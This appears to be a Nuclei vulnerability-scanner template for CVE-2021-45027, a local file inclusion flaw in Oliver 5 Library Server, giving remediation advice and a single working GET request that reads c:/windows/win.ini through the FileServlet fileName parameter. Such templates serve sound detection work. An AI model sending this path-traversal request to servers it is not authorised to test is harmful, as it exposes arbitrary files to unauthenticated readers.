id: CVE-2021-45027

info:
  name: Oliver 5 Library Server <8.00.008.053 - Local File Inclusion
  author: gy741
  severity: high
  description: Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Windows server including win.ini via path traversal in the fileName parameter.
  remediation: |
    Upgrade to Oliver 5 Library Server version 8.00.008.053 or later.
  reference:
    - https://www.exploit-db.com/exploits/50599
    - https://www.softlinkint.com/product/oliver/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45027
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45027
    epss-score: 0.01582
    epss-percentile: 0.72348
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2021,lfi,oliver,edb,windows,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 490a0046304402201d3723373d4cfa8893a3f6b924549ea5ae2a4fb2fd66db3b9556f814db623a6302201336ea60760acac29c7d74307c29d9047c23edb96ca5c9f57c476cbdede4d207:922c64590222798bb761d5b6d8e72950